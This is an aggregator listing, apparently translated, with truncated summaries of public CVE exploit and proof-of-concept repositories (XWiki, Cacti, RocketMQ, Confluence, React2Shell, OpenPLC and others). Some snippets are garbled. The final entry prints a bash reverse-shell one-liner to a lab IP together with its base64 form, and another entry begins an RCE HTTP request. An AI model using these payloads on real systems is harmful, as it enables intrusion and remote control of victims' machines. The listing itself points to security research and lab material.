CVE-2025-64512-pdfminer-PoC

CVE-2025-64512 — pdfminer.six CMapDB 逆シリアライゼーション PoC pdfminer.six の逆シリアライゼーション脆弱性に対する Proof-of-Concept です。細工された PDF を解析すると、任意のコード実行が引き起こされます。 目的 / 法的免責事項 このリポジトリは 教育および許可されたセキュリティ研究のみ を目的として提供されます。これは 公開済みでパッチ適用済みの CVE を再現するものです。 所有していないシステム、または書面によるテスト許可がないシステムに対して 使用しないでください 。作者は誤用について一切責任を負いませ...

CVE-2025-23061

CVE-2025-23061 - Mongoose コマンドインジェクション Mongoose = 7.0.0 = 8.0.0 8.9.5 CVE-2024-53900 および CVE-2025-23061 のタイムライン 2024年11月7日: Dat Phung は Mongoose の重大な脆弱性を特定し、Snyk にセキュリティレポートを提出しました。 2024年11月26日: Mongoose はこの脆弱性に対処して修正するため、バージョン 8.8.3 をリリースしました。 2024年12月2日: National Vulnerability Database NVD...

XWiki-Platform-RCE-CVE-2025-24893

XWikiプラットフォーム 未認証RCEエクスプロイト 概要 このスクリプトは、CVE-2025-24893の影響を受けるXWikiプラットフォームのバージョンを標的としたエクスプロイトのリファービッシュされたBash実装です。これは、SolrSearchマクロのテンプレートインジェクションの欠陥を介して、攻撃者が任意のGroovyコードを実行できるようにする重大な未認証のリモートコード実行脆弱性を利用します。 元のPythonによるエクスプロイト実装はさまざまなセキュリティ研究者によって作成され、ここでは簡素化された実行と使いやすさの向上を図ってBashユーザー向けに適合されています。...

MouseServer-1.7.8.5-RCE

WiFi Mouse Server 1.7.8.5 - RCE WiFi Mouse Server v1.7.8.5 向けに最適化された Python 3 の概念実証（PoC）エクスプロイトです。このスクリプトは、プロトコル固有の脆弱性を利用し、自動化されたキーストローク注入によってリモートコード実行（RCE）を実現します。 このバージョンは、ホストの堅牢化制約（certutil.exe の実行制限やバイナリのダウンロードブロックなど）により従来の公開エクスプロイトが失敗するラボ環境向けに、明示的に修正・調整されています。 背景とクレジット 歴史的には、CVE-2022-3218...

Exploit for CVE-2026-19952

abraxaslabs.tech · github.com/abraxas ·&...

CVE-2021-31630-OpenPLC-3-Authenticated-RCE

CVE-2021-31630 OpenPLC 3 WebServer 已认证远程代码执行。 描述 Open PLC Webserver v3 中存在命令注入漏洞，远程攻击者可通过利用应用 "/hardware" 页面上的 "硬件层代码框" 组件来执行任意代码。 仅在 HackTheBox 的 Wifinetictwo.htb 机器上测试过。 使用方法 root@kitploit: usage: openplcexploit.py -h --usage --ip ADDR --port PORT --target URL -U USER -P PASSWORD...

CVE-2023-27350-Ongoing-Exploitation-of-PaperCut-Remote-Code-Execution-Vulnerability

このリポジトリには README がありません。...

ms08-067

📖 概要 このリポジトリには、MS08-067 Windows Server Service の脆弱性 CVE-2008-4250 に対する Metasploit モジュールの実装が含まれています。これは、古い Windows システムに影響を与える古典的なリモートコード実行の脆弱性です。 🛠️ インストールと使用方法 前提条件 Kali Linux Metasploit Framework がインストールされていること 許可されたテスト環境 🤔 使い方？ まず、Kali Linux にログインします。そして 👉 以下のコマンドを実行してください: root@kitploit: git...

CVE-2022-46169

CVE-2022-46169 CVE-2022-46169 のエクスプロイト - Cacti バージョン 1.2.3 以前 ここで、remoteclientauthorized は poller テーブル内のエントリに対してクライアントのホスト名をチェックします root@kitploit: function remoteclientauthorized // ... $clientaddr = getclientaddr; // ... $clientname = gethostbyaddr$clientaddr; // ... $pollers = dbfetchassoc'SELE...

CVE-2023-33246_RocketMQ_RCE_EXP

CVE-2023-33246RocketMQRCEEXP CVE-2023-33246 RocketMQ リモートコード実行エクスプロイト 概要 RocketMQ バージョン 5.1.0 以下は、任意のコードインジェクションに対して脆弱です。RocketMQのBrokerコンポーネントが外部ネットワークに漏洩しており、権限検証が不足しています。攻撃者は、設定更新機能を利用して、RocketMQが動作しているシステムユーザーとしてコマンドを実行することで、この脆弱性を悪用できます。さらに、攻撃者はRocketMQプロトコルコンテンツを偽装することで同じ効果を得ることができます。...

cve-2025-55182

CVE-2025-55182 일명 React2Shell 테스트 환경 설정 root@kitploit: kiot :: /react2shell » docker compose build --no-cache kiot :: /react2shell » docker compose up POC 페이로드 1. 응답 본문을 통한 RCE root@kitploit: POST / HTTP/1.1 Host: localhost:3000 Next-Action: whatever Content-Type: multipart/form-data;...

CVE-2021-42013

CVE-2021-42013 - Apache HTTP Server 2.4.50 CVE-2021-42013-Path Traversal ラボの実行方法 1. PC/ノートパソコンに Docker をインストールして起動してください 2. この GitHub リポジトリをクローンしてください 3. Path Traversal フォルダに移動してください 4. 以下のコマンドを入力してください docker build -t cve-2021-42013-path-traversal . および docker run --rm -dit -p 8888:80...

CVE-2020-14882-14883

CVE-2020-14882&14883 WeblogicはOracle社が提供するJ2EEアプリケーションサーバです。CVE-2020-14882 は Console の未承認アクセス脆弱性です。脆弱性の重要度は緊急と評価されており、スコア：9.8。また、CVE-2020-14883 は未承認アクセスを利用して、Console でコード実行を行う脆弱性です。そのため、リモート攻撃者は特別なHTTPリクエストを構築し、認証なしでWebLogic Server Consoleを乗っ取り、WebLogic Server Console上で任意のコードを実行できます。...

CVE-2024-32002

CVE-2024-32002 1. exploit.sh ファイルを編集してください（リポジトリを置き換えてください） 2. bash exploit.sh を実行してください exploit.sh インスパイア元 - https://github.com/safebuffer/CVE-2024-32002 CTF用に作成 影響を受けるバージョン v2.45.0 v2.44.0 =v2.43.3 =v2.42.1 v2.41.0 =v2.40.1 =v2.39.3 出典...

SOC227-Microsoft-SharePoint-Server-Elevation-of-Privilege-Possible-CVE-2023-29357-Exploitation

SOC227 - Microsoft SharePoint Server の権限昇格 CVE-2023-29357 の悪用 CVE-2023-29357 は重大な権限昇格の脆弱性であり、他の脆弱性と組み合わせることで、リモートコード実行につながる可能性があります。この脆弱性のCVSSスコアは 9.8 Critical です。 イベント情報 EventID : 189 イベント時刻 : 2023年10月6日 20:05 ルール : SOC227 - Microsoft SharePoint Server の権限昇格 - CVE-2023-29357 の悪用の可能性 レベル :...

CVE-2024-33210

CVE-2024-33210 Flatpress 1.3 にクロスサイトスクリプティング（XSS）の脆弱性が確認されました。この脆弱性により、攻撃者は悪意のあるスクリプトを他のユーザーが閲覧する Web ページに注入することが可能になります。 脆弱性タイプ: クロスサイトスクリプティング（XSS） 製品ベンダー: flatpress CMS 影響を受ける製品コードベース: Flatpress v1.3 - FlatPress バージョン 1.3 で修正予定。 影響を受けるコンポーネント: URL CVE 影響その他:...

ATLASSIAN-Confluence_rce

ATLASSIAN-Confluencerce CVE-2022-26134 インストール root@kitploit: git clone https://github.com/xanszZZ/ATLASSIAN-Confluencerce cd ATLASSIAN-Confluencerce 使用方法 このツールはpocsuite3フレームワークの開発仕様に従って作成されたPoCです。 使用前にpocsuite3をダウンロードしてください。 プロジェクトURL root@kitploit: https://github.com/knownsec/pocsuite3 環境...

CVE-2020-8158

CVE-2020-8158：TypeORM 原型污染漏洞 概述 这是一个概念验证（PoC），演示了 CVE-2020-8158，即 TypeORM 0.2.25 以下版本中存在的一个严重原型污染漏洞。 漏洞详情 CVE ID ：CVE-2020-8158 CVSS 评分 ：9.8（严重） 受影响软件包 ：TypeORM = 0.2.25） package.json - 依赖项 设置说明 有关详细的设置和漏洞利用说明，请参阅 SETUP.md。 缓解措施 将 TypeORM 升级到 0.2.25 或更高版本 验证并清理所有用户输入 使用输入验证库来阻止原型污染尝试 考虑对关键对象使用...

CVE-2018-11776-FIS

CVE-2018-11776 は、Web アプリケーション開発で広く使われているフレームワークである Apache Struts のセキュリティ脆弱性です。この脆弱性により、攻撃者は HTTP リクエストのデータフィールドに悪意のあるコードを挿入することで、リモートから攻撃を実行できます。この脆弱性は世界中のサイバー攻撃で広く悪用され、多くの組織や個人に大きな損害をもたらしました。 原因: CVE-2018-11776 は、Apache Struts で条件式を処理するために使用される OGNL（Object-Graph Navigation...

CVE-2023-38646

CVE-2023-38646 元のスクリプトはsecurezeronから取得しました。 テスト中に、このPoCが生成するリバースシェルはbase6エンコード後に末尾の'='文字が原因で悪用に失敗することがわかりました。それを少し修正してこの問題を解決しました。 root@kitploit: 原始的生成reverse shell负载的代码 base64.b64encode"bash -i &/dev/tcp/10.10.14.59/8080 0&1".encode.decode 'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=...